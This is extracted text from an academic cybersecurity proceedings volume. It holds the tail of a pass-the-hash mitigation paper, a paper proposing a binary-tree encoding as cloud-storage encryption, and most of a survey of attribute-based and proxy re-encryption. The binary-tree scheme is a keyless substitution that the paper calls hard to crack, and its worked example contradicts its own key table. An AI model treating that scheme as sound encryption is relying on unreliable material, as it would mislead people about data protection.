for group members
within a domain
Authentication New authentication ✓ ✓
policy and policies provide the
authentication ability to restrict account
policy silos authentication to specific
hosts and resources

proper care and right tools are used, then the defense mechanisms can be applied
and the repercussions are reduced [19]. The aim of this research was to get
acquainted with the attack “pass the hash” and working, then demonstrate it. This is
an attack that allows an attacker to misuse hashes credentials and usage errors in the
design of authentication protocols in order gaining access to high privileged
accounts. Our suggested defense mechanisms reduce the risk and also protect the
critical data and accounts.
As part of future work, we would like to test these mechanisms and approaches
in different environments. We would like to compare results with existing methods
and our approach for better accuracies and efficiency. Also, we would like to test
these mechanisms in cloud-based environment as well.
Here are some of the inbuilt and available features of Windows operating system
which can help reduce effect of the attack (Table 2).

References

1. Audit Collection Services (ACS) updated on 22 May 2009. Ref: http://technet.microsoft.com/

en-us/library/bb381258.aspx
2. Auditing and restricting NTLM usage guide published on 29 Nov 2012. Ref: http://technet.
microsoft.com/en-us/library/jj865674(v=ws.10).aspx
Analysis and Impact of Different Mechanisms … 191

3. Authentication Policies and Authentication Policy Silos published on 27 Nov 2013. Ref:
http://technet.microsoft.com/en-us/library/dn486813.aspx
4. Collecting Security Events Using Audit Collection Services in Operations Manager Ref:
http://technet.microsoft.com/en-us/library/hh212908.aspx
5. Framework for Improving Critical Infrastructure Cybersecurity by National Institute of
Standards and Technology February 12, 2014. Ref: http://www.nist.gov/cyberframework/
upload/cybersecurity-framework-021214.pdf
6. Groat S, Tront J, Marchany R (2012) Advancing the defense in depth model, In: 7th
international conference on system of systems engineering (SoSE), pp 285–290, 16–19 July
2012
7. Johnson JR, Hogan EA (2013) A graph analytic metric for mitigating advanced persistent
threat. In: IEEE international conference on intelligence and security informatics (ISI), vol no,
pp 129–133, 4–7 June 2013
8. McClure S, Scambray J, Kurtz G (2008) Hacking exposed 6: network security secrets &
solutions. McGraw-Hill, New York
9. Microsoft Security Compliance Manager originally published on 6 April 2010 and updated
January 28, 2013. Ref: http://technet.microsoft.com/en-us/library/cc677002.aspx
10. Microsoft Security Advisory 2871997 published on 9 Oct 2014. Ref: https://technet.
microsoft.com/en-us/library/security/2871997.aspx
11. Mitigating Pass -the-Hash (PtH) Attacks and Other Credential Theft Techniques by Microsoft
corporation, Published on 7 July 2014. http://download.microsoft.com/download/7/7/A/
77ABC5BD-8320-41AF-863C-6ECFB10CB4B9/Mitigating%20Pass-the-Hash%20(PtH)%
20Attacks%20and%20Other%20Cred-ential%20Theft%20Techniques_English.pdf
12. Pass the Hash attack, Microsoft Research as on August 12, 2015. Ref: http://www.microsoft.
com/PTH
13. Pass-The-Hash Toolkit for Windows Implementation & use by Hernan Ocha published on 29
Oct 2008. Ref: www.coresecurity.com/system/files/Ochoa_2008-Pass-The-Hash.pdf
14. Secrets of America’s Top Pen testers by Ed Skoudis Published in 2008. Ref: www.
inguardians.com/research/docs/Skoudis_pentestsecrets.pdf
15. Source: World Internet Stats: Usage and Population Statistics, 30 June 2010. Ref: http://www.
internetworldstats.com/stats.htm
16. The Year in Hacking, by the Numbers by NICOLE PERLROTH. Ref: http://bits.blogs.
nytimes.com/2013/04/22/the-year-in-hacking-by-the-numbers
17. TWC: Pass-the-Hash and Credential Theft Mitigation Architectures published by Mark
Simos, Nicholas DiCola published in TechEd North America on 14 May 2014. http://
channel9.msdn.com/Events/TechEd/NorthAmerica/2014/DCIM-B213
18. Vukalovic J, Delija D (2015) Advanced persistent threats—detection and defense. In: 38th
international convention on information and communication technology, electronics and
microelectronics (MIPRO), pp 1324–1330, 25–29 May 2015
19. What’s New in Remote Desktop Services in Windows Server updated on 28 May 2014. http://
technet.microsoft.com/en-us/library/dn283323.aspx
20. Why Crack When You Can Pass the Hash? By Chris Hummel published on 12 Oct 2009. Ref:
https://www.sans.org/reading-room/whitepapers/testing/ crack-pass-hash-33219
Data Security and Encryption
Technique for Cloud Storage

Sunil Kumar, Jayant Shekhar and Jatinder Paul Singh

Abstract In the last few years, we have seen that cloud computing model has been
developed as a promising business model of the fastest growing IT sector. Most of
the IT companies, organizations, and educational institutes are now realizing that
they can put on fast access to daily used computer applications and significantly
boost up with infrastructure resources by simply moving to the cloud, at the very
negligible cost. But they are also worried about privacy and security of their data,
which is placed on the server of service providers. In this paper, we proposed a data
security and encryption technique to provide privacy and security to our dynamic
cloud data.

Keywords Secure cloud storage
Cloud data security
Cloud data encryption

1 Introduction

Today, we are living in an era, where technology plays an extremely vital role in
our daily lives and business. New technologies always bring greater ease and
convenience with them for us. Cloud computing is an endowed and evolving
technology in the field of network-based computing that takes place over the
Internet. It has become a well-known catchphrase nowadays. Cloud computing is a
model that facilitates the software developers to deploy their own applications,

S. Kumar (&)
Swami Vivekanand Subharti University, Meerut, Uttar Pradesh, India
e-mail: [email protected]
J. Shekhar
Computer Science Department, Swami Vivekanand Subharti University,
Meerut, Uttar Pradesh, India
e-mail: [email protected]
J. P. Singh
Shobhit University, Meerut, India
e-mail: [email protected]

© Springer Nature Singapore Pte Ltd. 2018 193

M. U. Bokhari et al. (eds.), Cyber Security, Advances in Intelligent Systems
and Computing 729, https://doi.org/10.1007/978-981-10-8536-9_19
194 S. Kumar et al.

client to use software, hardware or platform as a service. Cloud computing provides

us reliable, secure, fault-tolerant, and scalable computational service. These services
are the major magnetism of the cloud computing for the users those are from
academic or IT industry, across the world. Using the Internet, anyone around the
world can avail the cloud computing services on a pay-as-per uses basis that means
how much they consume the cloud services; they have to pay only for that. There
are lots of definitions that can be found on the Internet of cloud computing, but
most accepted definition is provided by the National Institute of Science and
Technology (NIST) Laboratory. Cloud computing can be defined as a technology
that enables ubiquitous access to a collective group of configurable computing
network assets or services that can be easily provisioned and free with least
managing attempt or service provider communication [1]. Cloud computing is
power-driven by virtualization technique that was offered only for mainframe
systems in past years, in which, a host computer has to run an application program
called the hypervisor that will create virtual machine, which simulate our computer
hardware so realistically to execute any program, from an operating system to
user-specific applications [2]. Cloud computing storage features attract users as well
as enterprises to use a variety of capability to store and process the data on arbitrator
data centers.
While cloud users move their data over the cloud that offers great ease and they
do not need to take care about the management of hardware and software com-
plexities, cloud database has been categorized as relational/SQL and non-relational/
NoSQL. The pioneers of cloud data service products are IBM DB2, Microsoft
Azure SQL Database, Amazon Simple, and Elastic Compute Cloud (EC2) that
provide the massive amount of storage space and the facility to customize com-
puting resources. Cloud computing model has eliminated the dependability of local
machines for data protection. Cloud users are on the kindness of their service
providers for the confidentiality, integrity, and availability (CIA) service of their
data. From the viewpoint of cloud security, which has always been the key char-
acteristic of better service, cloud users certainly face various security threats. First,
conventional cryptographic techniques of data security protection cannot be directly
used because of the user’s loss control of data, while using the cloud services over
the Internet. So, proper authentication of data storage on the cloud must be con-
ducted without precise information of the whole data. The data stored on the cloud
usually updated by the owner that includes insertion, modification, deletion, or
reordering. Therefore, to guarantee storage security beneath data update dynami-
cally is a very big challenge. This feature makes conventional integrity assurance
technique ineffective and required a better solution. As the employment of cloud
computing is power-driven by various data centers those are consecutively in the
distributed style, there is a need to develop an efficient security technique for cloud
storage.
Data Security and Encryption Technique … 195

2 Cloud Storage System

Using the cloud storage system, users can easily store their personal or official data
(image, text, video, or audio) on the distributed cloud servers and this data will be
accessible anywhere, anytime through the use of the Internet. The availability,
security, and integrity of cloud data must be guaranteed by the service providers. As
data of an organization or an individual user is copied to several different sites to
minimize the data security threats from the hackers, therefore, an efficient and
optimized cloud data security technique plays the significant role in the cloud
computing. Many security techniques have been developed that give robust and
secure cloud storage and also give assurance of protecting the important data of
cloud users. As users frequently access or update their data from the different
locations using variety of devices like mobile, laptop, etc., in every aspects, security
to cloud data should be given. As a result, cloud storage is not only a third-party
warehouse but also there are many issues associated with them such as protecting
from unauthorized data access or modification and corruption of data, probably due
to the lack of server security. Many solutions have been given by the researchers so
that cloud storage can become trustworthy and users can use the cloud storage
service and store their data without any worry.

3 Related Works

In [3], authors have given a competent technique to illustrate the integrity of storage
data using hash index hierarchy and homomorphism verifiable response. They
present with the help of provable data possession concept, which supports a good
service and migration of data in the cloud environment.
In [4], authors proposed architecture with the approach for key exchange that
uses Diffie–Hellman key exchange along with the authentication step for each part
of the controller and the server instances. They suggest that data encryption using
RSA algorithm provides strong security over insecure medium. In their method,
they split the user data and encrypt, then send to the server instances for
computation.
In [5], authors highlight the various cloud data security issues and also give the
implementation of digital signature security technique using the elliptic curve P-192
in C language.
In [6], IBM discovers an encryption technique to improve cloud data security.
They also give the capability of spam filtering.
In [7], they propose one homomorphic encryption system that uses Residue
Number System (RNS), called HORNS. In that, they split the secret into multiple
sources to perform independent computations so that efficiency as well as security
can be increased.
196 S. Kumar et al.

In [8], authors proposed an authentication and encryption techniques based on a

binary tree diagram that contains alphabet values. They gave an algorithm that
converts the entered alphabets into binary values according to the position in the
binary tree, and then some redundancy bits are added and converting value is sent
to receiver.
There are many limitations founded in this approach. First, it takes only
alphabets and does not take numbers or special character. Second, it does not
compress the data after adding the redundancy bits because data will become
lengthy.
Therefore, in this paper, we have removed all the limitations with the proposal of
an improved algorithm technique.

4 Proposed Methodology

We have proposed a mechanism that uses a binary tree in that each node holds an
alphabet, number, and special character, and each link has a binary value 0 or 1.
Figure 1 depicts a binary tree with the values of numbers, special characters, and
alphabets. Depending upon their positions in the binary tree, a has 0, right sub-tree
node of a is c, that has 01, and left node of a will be b with having 00. Same as e
position is 001 and further elements of tree are depicted in the pair in Table 1.

4.1 Data Calculation for Security

Input the text that has to be stored on the cloud server:

Fig. 1 A binary tree diagram along with alpha-numeric values

Data Security and Encryption Technique … 197

Table 1 Key and value pair Key Value

A 0
C 01
B 00
D 000
G 001
@ 00001
8 01111

Fig. 2 Even and odd

positions in input text abcd

Example 1: For the abcd input data (Fig. 2).

Example 2: Suppose our input text is a@bc.
First, we assign binary value according to Fig. 1.

a @ b c
0 00001 00 00

Second, mix up the odd and even position characters.

a b @ c
0 00 00001 01

Then, to make secure, put some bits like 1111 (Four times 1), after each bit.

01111 001111 00001 011111

In last step, apply the compression technique and send it to the cloud server for
storage.

5 Encryption Algorithm on Sender Side

Step I Devise a tree with alpha-numeric values as given in Fig. 1.

Step II Input some value.
Step III Arrange the input, according to odd and even positions of input.
Step IV In that, odd position inputs will be paired first, then after even position
inputs will be paired.
198 S. Kumar et al.

Step V Assign binary value (0 or 1) to the given input.

Step VI Add some redundancy bits after the value of the each input.
Step VII Compress the input data and send to the cloud server for storage.

6 Decryption Algorithm on Receiver Side

Step I Receive compressed data from the cloud server.

Step II Uncompress the data.
Step III Start assigning binary value to the data according to Fig. 1.
Step IV Detect all the redundancy bits in the received uncompressed data.
Step V Remove the redundancy bit values.
Step VI Replace the numeric values with text of the data.
Step VII Rearrange the odd and even position character’s values for takeout the
worth of received message.

7 Conclusion

We have developed a data security and encryption technique for providing security
to cloud users. Our proposed mechanism is unique and simple, but not easy for
hackers to crack because numbers increase the security while accessing the data. In
future, we will provide the cloud implementation of this technique, so that data of
cloud users can become more secure and cloud environment can become more
trustworthy.

References

1. Naone E (2009) Technology overview, conjuring clouds. MIT Technol Rev

2. Subashini S, Kavitha V (2011) A survey on security issues in service delivery models of cloud
computing. J Network Comput Appl 34:1–11
3. Merlin Shirly T, Johnson M (2014) Improved security measures for data in key exchanges in
cloud environment. Int J Res Comput Appl Robot 2(3):153–158 (ISSN:2320-7345)
4. Singh K et al (2010) Implementation of elliptic curve digital signature algorithm. Int J Comput
Appl (IJCA) 2(2):21–27 (ISSN: 0975–8887)
5. Tripathi A, Parul Y (2012) Enhancing security of cloud computing using elliptic curve
cryptography. Int J Comput Appl 1
6. IBM Discovers Encryption Scheme That Could Improve Cloud Security, Spam Filtering.
www.eweek.com/c/a/Security/IBMUncovers-Encryption-Scheme-That-Could-Improve-Cloud-
Security-Spam-Filtering-135413
Data Security and Encryption Technique … 199

7. Gomathisankaran M et al (2011) HORNS: a homomorphic encryption scheme for cloud

computing using residue number system. In: 45th annual conference on information sciences
and systems (CISS), pp 1–5. Print ISBN: 978-1-4244-9846-8
8. Singh JP, Kumar S, Dr. Mamta (2015) Authentication and encryption in cloud computing. In:
International conference on smart technologies and management for computing, communication,
controls, energy and materials (ICSTM), Chennai, May 2015, p 230. ISBN: 978-1-4-4799-9854-8

Author Biography

Dr. Sunil Kumar has completed Ph.D. (CSE) from Swami

Vivekanand Subharti University (NAAC ‘A’ grade), Meerut in
2017. He obtained his M.Tech (CS) degree from the Shobhit
University, Meerut in 2011 and MCA from JRN Rajasthan
Vidyapeeth Deemed University, Udaipur in 2007. He has total 10
years of IT experience and 2 year of research experience. His area
of interest is Cryptography, Cloud computing, Java programming,
Artificial Intelligence and Web technologies. He is associated as a
consultant with Zombie softwares, Delhi and BitsMobile, Noida.
Currently, he is working as a Assistant Professor in College of
Computer Science and Applications of IIMT University, Meerut.
He has published 10+ research papers in reputed journals like
ACM, IEEE and Elsevier etc. He is also the professional member
of ACM (Association of Computing Machinery), India. He is also
Sun Certified Java Programmer (SCJP).
Fine-Grained Access Control
and Secured Data Sharing
in Cloud Computing

Neha Agarwal, Ajay Rana and J. P. Pandey

Abstract In cloud computing data, outsourcing is one of the most convenient,

cost–efficient, and cheapest ways for users to share their data with remote clients.
However, the main problem is that the owner loses its physical control on data and
so the main challenge is how to secure and share the data efficiently and main-
taining fine-grained access control on it. Several approaches have been proposed
including attribute-based encryption and proxy re-encryption for secured data
sharing through cloud service providers. In this paper, we have given a survey and
comparison of different attribute-based encryption and proxy re-encryption tech-
niques. We have also proposed that threshold cyptosystem can be used for secured
and efficient data sharing in cloud.

Keywords Cloud computing Fine-grained access control
Confidentiality


Attribute-based encryption Proxy re-encryption

1 Introduction

Cloud computing is a new computer science paradigm which provides access to

shared pool of resources in an efficient and scalable manner over Internet on
demand basis. These services may involve application, network, data, computation,
infrastructure, and so on [1–5]. The customer pays for the services as per usage
which leads to great advantage to customers as well as service providers (Fig. 1).

N. Agarwal (&)
A. Rana

Amity University, Noida, Uttar Pradesh, India
e-mail: [email protected]
A. Rana
e-mail: [email protected]
J. P. Pandey
KNIT Sultanpur, Sultanpur, India
e-mail: [email protected]

© Springer Nature Singapore Pte Ltd. 2018 201

M. U. Bokhari et al. (eds.), Cyber Security, Advances in Intelligent Systems
and Computing 729, https://doi.org/10.1007/978-981-10-8536-9_20
202 N. Agarwal et al.

Fig. 1 Model of cloud computing

The main deployment models in cloud are public cloud, private cloud and hybrid
cloud. Public cloud is cheapest of all deployment models and is owned by third
party; however, they are highly insecure, for example, AWS. Private cloud is
owned by individual party and so is highly secure but at the same time they are
costliest, for example, Badaal Cloud. Hybrid cloud is owned partially by service
providers and partially by individual party and so are partially secured and is used
in mainly critical places like they are used in Union Bank of India.
Cloud computing several services are mainly categorized into three main types:
Infrastructure as a Service (IaaS), Platform as a Service (Paas), and Software as a
Service (SaaS). However, recently several types of service XaaS models are
defined; one of the such models is Data as a Service (DaaS) [6].

2 Security Issues in Cloud Computing

Among the several services, cloud storage service enables the owner of data to store
and share his important data with trusted clients which has freed the owner from
worry of storage and resource management. But at the same time since the owner
looses the physical control on stored data there are several security concerns related
Fine-Grained Access Control and Secured Data … 203

to confidentiality, security, and privacy of data-like authentication [7]. These

security issues [8] are preventing the companies or people from adopting cloud
which are mainly classified as follows [9]:
(i) Traditional security—There are several number of traditional risks [6, 10–13].
Gartner [14] suggested few of them which data owner should discuss with
vendor beforehand. Some of the general issues and attacks include security
issues like cloud malware injection attack, related to virtual machines
VM-level attacks [15], cloud provider vulnerabilities [16], malicious insider,
cookie poisoning, phishing attack on cloud provider such as the Salesforce
phishing incident [17], SQL injection attack, authentication and authorization
[18], sniffer attack, man-in-middle attack, and forensics in the cloud [19].
There are number of guidelines provided to ensure security of data to the user
while storing and sharing it in cloud [20–23]; however, the data owners may
not completely trust the cloud service provider. Availability of critical data is
another main concern [24]. There are several issues like single-point failure,
server down issues, and owner is unable to ensure that cloud service provider
will not be colluding with unauthorized users and results are valid. A real-life
example is an incidence in which cloud outage of Amazon S3 was down for 7
h on July 20, 2008 [25].
(ii) Third-party data control—In order to optimize the utilization of available
resources in cloud, the data owner stores their data at remote site. However,
security of data is a major concern since the data can reside anywhere in cloud.
At the same time, the owner needs to ensure that he should have a complete
control on its outsourced data rather than it being controlled by service pro-
vider [9].
As mentioned above, the major security concern of data owner is how the third
service provider handles his data since architecture of storage services in cloud is bit
complex so it becomes difficult for him to understand it [15, 26]. Researchers and
industry people are working to address security models [7, 12, 27] by developing
standards but there is still lots of work need to be done [28]. However, trusted
computing and applied cryptographic techniques may offer new tools to solve these
problems [29, 30].
Cryptography helps in maintaining the confidentiality of critical data by
encrypting the data; yet, there are certain issues like revoking users privileges
without re-encrypting data and re-distributing the new keys to the authorized users,
handling collusion between users and revoked users, handling collusion between
revoked users, and cloud service providers. In addition, there are several issues
related to secure query processing over encrypted data [31].
204 N. Agarwal et al.

3 Main Features Required for Secure Data Sharing

in Cloud Computing

The main features to be achieved for securing data while outsourcing it on cloud are
as follows:
1. Data Confidentiality: Any unauthorized user or even the service provider must
not have an access to the data. Even if they steal the data, they must not be able
to decrypt it.
2. Fine-Grained Access Control: Each and every authorized user will be associ-
ated with some access rights. This enhances the efficiency and reliability in
system.
3. Improved Scalability: The system must be able to work efficiently with
increased number of users.
4. User Accountability: It should be maintained so that he can be charged
accordingly.
5. Efficient User Revocation: If the user is revoked, then the data owner need not
have to redistribute the keys to authorized user.
6. Efficient and Secure User Rejoin: If a revoked user rejoins with same or dif-
ferent access rights, then he must rejoin without affecting the system or users.
7. Collusion Resistant: There must be no collusion between the revoke user and
other authorized user or cloud service provider.
8. Ciphertext Size: The size of encrypted file must not be too big.
9. Support for Secured Query Processing: The encrypted query of authorized user
can be executed over an encrypted data and only the result of executed query
must be sent to authorized user.
10. Stateless Cloud: The cloud should not be in need to retain the state of revoked
and active users.

4 Related Work

For secured data sharing in cloud through CSP, many encryption schemes have
been introduced. The owner encrypts his data and sends it to third party called cloud
service provider. Along with encrypted data, owner also sends the access control
list specifying the authorization for accessing the attributes corresponding to users.
The cloud service provider converts the ciphertext of one authorized user to another
authorized user and provides it to him. In this way, data is securely shared among
authorized users using concept called fine-grained access control in order to limit
the access of encrypted data in cloud.
Fine-Grained Access Control and Secured Data … 205

4.1 Attribute-Based Encryption (ABE)

In the traditional approach, if the owner wants to share some messages with others,
he should know public key authorized user in order to encrypt the data.
Identity-based encryption has changed the concept and allowed the public key to be
of random string, e.g., email id of recipient. One of the main issues arises from
sharing keys is user revocation where a user is needed to be revoked from accessing
his data. The usual solution followed by owners is to re-encrypt the whole dataset
with new generated key and redistribute the re-encrypted data to all authorized
users.
Sahai and waters presented attribute-based encryption in 2005 [32] for secured
data sharing based on the concept of public-key cryptography in which authorized
users are allowed to decrypt the data only if they satisfy certain attributes. The main
feature of this approach is that it is collusion resistant but since it uses access of
monotonic attributes in order to control users access, it is restricted in real envi-
ronment. Attribute-Based Encryption (ABE) was further classified as KP-ABE and
CP-ABE.
In 2006, Goyal [33] proposed KP-ABE in which users’ private key is used to
store access control policy and encrypted data stores additional attributes. An
authorized user can decrypt data if the access policy defined in users’ private key
satisfies attribute of data. However, the main issue with KP-ABE is owner (one who
has encrypted data) cannot take a decision on who can decrypt the data.
In 2007, Bethencourt et al. [31] introduced CP-ABE in which the access policy
is stored with encrypted data and attributes are stored in users’ secret key; as a
result, the user can access only the attributes associated with his private key. The
concept supports access control in real-time environment; however, it requires
flexibility and efficiency and its decryption key only supports user attributes that are
logically organized as a single set; as a result, user has to use a combination of all
attributes. To overcome this problem, ciphertext-policy attribute-set-based
encryption is introduced. It organizes user attributes into a recursive set-based
structure and user combines these attributes dynamically in order to satisfy a policy
without sacrificing the flexibility. The main challenge is allowing users to combine
attributes dynamically within a given key and avoiding collusion at the same time.
Earlier, ABE was based on monotonic access structure. Ostrovsky et al. in 2007
[34] proposed ABE that supports non-monotonic formulas on access policies to
express any access formula. Tang et al. in 2008 [35] put forward verifiable ABE.
Muller in 2009 [36] proposed an extension of CPABE, DABE (Distributed
Attribute-Based Encryption) that supports random number of parties to maintain the
attributes along with their corresponding secret keys; however, the access policy
has to be in DNF form.
Boneh and Franklin [37] proposed an identity-based encryption scheme, in
which data is encrypted using a random string as the key and for decryption; a
decryption key is mapped to the random encryption key-by-key authority.
206 N. Agarwal et al.

Hierarchical Identity-Based Encryption (HIBE) [38] is the tree-like form of a

single IBE; the main disadvantage of this system is key management overhead.
Wang et al. [39] embedded a hierarchical structure in the CPABE. They delegated
most of the computation workloads to the cloud and provided compatibility with
complex applications. But the scheme does not support compound attributes.
Wan et al. [40] in 2012 proposed scalable and flexible HASBE scheme and
considered that root level authority is responsible for managing top-level domain
authorities. It supports flexible compound attribute set combinations and achieves
efficient user revocation because of multiple values assigned to attributes (Table 1).

4.2 Proxy Re-encryption

The main security concern while sharing the data using cloud is to prevent it from
semi-trusted cloud service providers. In order to maintain confidentiality, several
proxy re-encryption techniques are available. Proxy encryption is a primitive which
helps in translating ciphertext from one encryption form to another encryption form
without any information leaked to third party or cloud service provider. Application
of proxy re-encryption is sharing public health records online, social media, and
email forwarding.

4.2.1 Type-Based Proxy Re-encryption

The scheme proposed by Tang [41] enables owner to categorize ciphertext into
subsets and uses one key pair in order to simplify key management problem. These
subsets are re-encrypted to ciphertext using public key of specified authorized user.
The main advantage of this scheme is that every authorized user can use a particular
proxy.

4.2.2 Key Private Proxy Re-encryption

It was introduced by Ateniese [42] in 2009 under this scheme that it is impossible
for proxy server to identify the recipient of the message.

4.2.3 Identity-Based Proxy Re-encryption

Identity-based proposed by Shamir [43] uses string of arbitrary length such as email
id for creating public key of authorized users. The proxy server will translate the
ciphertext of Alice to ciphertext of Bob without being able to retrieve any
information.
Table 1 Comparison of attribute-based encryption
Techniques ABE KP-ABE CP-ABE IBE HABE DABE MA-ABE
Fine-grained access control Low High if there is Avg, high if there Avg Good Good Good
re-encryption, low is re-encryption
Efficiency Avg High for broadcast Avg Low Flexible Avg High
type system average
Fine-Grained Access Control and Secured Data …

Confidentiality Low High High High High High High

User accountability Not maintain Not maintain Well maintain Well maintain Well maintain Well maintain Well maintain
Computation overhead High High Avg Low Low Avg Avg
Collusion resistant Avg Good Good Low Good Good High
207
208 N. Agarwal et al.

4.2.4 Conditional Proxy Re-encryption

Under this scheme, the owner specifies the conditions along with ciphertext and the
proxy can transform the ciphertext of data owner to encrypted form of recipient if
and only if ciphertext satisfies the condition specified by the owner. This scheme is
not sufficient to implement fine-grained access control [44].

4.2.5 Time-Based Proxy Re-encryption

The scheme introduced by Liu [45] has achieved user revocation and fine-grained
access control in the absence of data owner. In it, each user is associated with time
period for validity of user access rights so if he wants to access the data he needs to
have the access rights on attributes as well as access time must satisfy the validity.
Major limitation in it is for a user; the access time for all the attributes is same.

4.2.6 Threshold Proxy Re-encryption

This scheme integrates encrypting, encoding, and forwarding [46] and exhibits
homomorphism, proxy re-encryption, and threshold decryption properties.
Homomorphism states that for ciphertexts c1 and c2 defined on plain text p1 and
p2, one can use c1 and c2 to obtain ciphertext on the plain text p1
p2 or p1 + p2.
Proxy re-encryption allows encrypted form of data of user1 to be transformed into
encrypted for another user without any information leaked to third party. Threshold
encryption lets the private keys to be divided into several pieces and distributed to
clients and all clients must together decrypt the file.

4.3 Hybrid Approach of Attribute-Based Encryption

and Proxy Re-encryption

Yu et al. [47] proposed a technique by combining KP-ABE, proxy re-encryption,

and lazy re-encryption; he managed to push the task of data re-encryption and
decryption to cloud. The main issue is cloud has to be stateful to retain history of
user revocation.
Blaze et al. [48] proposed a proxy re-encryption which allows the encrypter to
ask a third party to re-encrypt his encrypted message and deliver it to the decrypter.
Yang et al. [49] proposed a generic solution for implementing fine-grained data
sharing. His technique enables cloud to be stateless and need not have to maintain
state of user revocation. However, the scheme is not able to handle scenarios when
a revoked user rejoins the system and is authorized with different access privileges.
Fine-Grained Access Control and Secured Data … 209

Fig. 2 Data sharing between

owner and clients

The scheme also fails to handle collusion between revoked and authorized user and
revoked user and untrusty cloud service provider.
Bharath et al. [50] proposed framework using proxy re-encryption and additive
homomorphic encryption in order to give a solution. He has implemented the
concept of federation of clouds in order to prevent collusion. However, there is a
limitation in their work that they have assumed that if revoked user colludes with
authorized user; then, the revoked user shares information available to authorized
user only (Figure 2).

4.4 Secured Query Processing

One of the problems while outsourcing the data to cloud is that the query must be
executed and output should be given to only authorized users who have initiated the
query. While the query is being sent and processed and output generated, the
process should not be accessible to any unauthorized user or cloud service provider.
Boneh et al. [51] have presented a general framework for analyzing security of
searching on encrypted data systems. Under this framework, they have constructed
public-key systems that support comparison queries on encrypted data as well as
more general queries such as subset queries.
Hakan et al. [52] have introduced an algebraic framework in which they have
deployed coarse index which allows query to be partially executed on encrypted
data at providers end and then decrypted at client end and remaining query
executes.
210 N. Agarwal et al.

Hore et al. [53] have developed a bucketization procedure for answering mul-
tidimensional range queries on multidimensional data and allow the data owner to
control the tradeoff between risk and cost.
Wang et al. [54] have ensured data confidentiality both at storage and at access
time and also supports different queries and data updates.

5 Conclusion and Future Work

Sharing data on cloud is widely accepted and is increasing rapidly. The data owners
are interested in outsourcing the data on cloud in order to avoid storage manage-
ment and capital expenditure in infrastructure but there are several issues associated
with it and one of the major issues is confidentiality and security. In this paper, we
have discussed on how to increase confidentiality and maintain privacy and security
while sharing the critical data through third party named cloud service providers.
We have explained encryption technique like ABE and PRE, when combined
altogether enable us to share the data securely maintaining confidentiality along
with fine-grained access control. However, the information can be leaked if there
exists collusion between cloud service provider and revoked user or between
authorized user and revoked users. Our proposed approach is to implement
multi-party computation-based homomorphic threshold cryptosystem under this
approach; private key of authorized user will be shared among n number of clouds
and the secret can be revealed if x out of total n participants work together. This
approach will prevent the data as the revoked user cannot collude with x number of
users altogether.

References

1. Armbrust M, Fox A, Griffith R, Joseph AD, Katz R, Konwinski A, Lee G, Patterson D,

Rabkin A, Stoica I, Zaharia M (2010) A view of cloud computing. Commun ACM 53:50–58
2. Mell P, Grance T (2009) The NIST definition of cloud computing. Technical report, National
Institute of Standards and Technology, Information Technology Laboratory, July 2009. http://
www.csrc.nist.gov/groups/sns/cloud-computing/
3. Qian L, Luo Z, Du Y, Guo L (2009) Cloud computing: an overview. In: Proceedings of the
1st international conference on cloud computing, CLOUDCOM’09. Springer, Berlin, pp 626–
631
4. Rimal B, Choi E, Lumb I (2009) A taxonomy and survey of cloud computing systems. In:
IEEE fifth international joint conference on INC, IMS and IDC, pp 44 –51, Aug 2009
5. Zhang Q, Cheng L, Boutaba R (2010) Cloud computing: state-of-the-art and research
challenges. J Internet Serv Appl 1(1):7–18
6. Hanna S. Cloud computing: finding the silver lining. http://www.ists.dartmouth.edu/events/
abstract-hanna.html
Fine-Grained Access Control and Secured Data … 211

7. Kantarcioglu M, Clifton C (2005) Security issues in querying encrypted data. In: Proceedings
of the 19th annual working conference on data and applications security, DBSEC’05.
Springer, Berlin, pp 325–337
8. Cantor S, Sigaba JM, Philpott R, Maler E (2005) Metadata for the OASIS security assertion
markup language (SAML) v2.0”, copyright © OASIS open
9. Chow R, Golle P, Jakobsson M, Shi E, Staddon J, Masuoka R, Molina J (2009) Controlling
data in the cloud: Outsourcing computation without outsourcing control. In: Proceedings of
the 2009 ACM workshop on cloud computing security (CCSW), pp 85–90
10. Dahbur K, Mohammad B, Tarakji AB (2011) Security issues in cloud computing: a survey of
risks, threats and vulnerabilities. Int J Cloud Appl Comput (IJCAC) 1
11. Dhage SN, Meshram BB, Rawat R, Padawe S, Paingaokar M, Misra A (2011) Intrusion
detection system in cloud computing environment. In: Proceedings of the international
conference & workshop on emerging trends in technology, ICWET’11, pp 235–239
12. Kandukuri B, Paturi V, Rakshit A (2009) Cloud security issues. In: IEEE International
conference on services computing, pp 517–520
13. Singh G, Sharma A, Lehal MS (2011) Security apprehensions in different regions of cloud
captious grounds. Int J Network Secur Its Appl (IJNSA) 3
14. Brodkin J. Gartner: seven cloud-computing security risks. http://www.infoworld.com/d/
security-central/gartner-seven-cloud-computing-security-risks-853
15. Ristenpart T, Tromer E, Shacham H, Savage S (2009) Hey, you, get off of my cloud:
exploring information leakage in third—party compute clouds. In: Proceedings of the 16th
ACM conference on computer and communications security, CCS’09. ACM, New York,
pp 199–212
16. Wang C, Wang Q, Ren K, Lou W (2009) Ensuring data storage security in cloud computing.
In: International workshop on quality of service, pp 1 –9, July 2009
17. Salesforce.com. warns customers of phishing scam. http://www.pcworld.com/article/139353/
article.html
18. Yan L, Rong C, Zhao G (2009) Strengthen cloud computing security with federal identity
management using ierarchical identity-based cryptography. In: Proceedings of the 1st
international conference on cloud computing, CLOUDCOM’09. Springer, Berlin, pp 167–177
19. Lu R, Lin X, Liang X, Shen XS (2010) Secure provenance: the essential of bread and butter of
data forensics in cloud computing. In: Proceedings of the 5th ACM symposium on
information, computer and communications security, ASIACCS’10. ACM, New York
20. Lin D, Squicciarini A (2010) Data protection models for service provisioning in the cloud. In:
Proceeding of the 15th ACM symposium on access control models and technologies,
SACMAT’10, pp 183–192
21. Nyre AA, Jaatun M (2009) Privacy in a semantic cloud: whats trust got to do with it? In:
Cloud computing, volume 5931 of lecture notes in computer science. Springer, Berlin,
pp 107–118
22. Pearson S, Shen Y, Mowbray M (2009) A privacy manager for cloud computing. In:
Proceedings of the 1st international conference on cloud computing, CLOUDCOM’09.
Springer, Berlin, pp 90–106
23. Thuraisingham B, Khadilkar V, Gupta A, Kantarcioglu M, Khan L (2010) Secure data storage
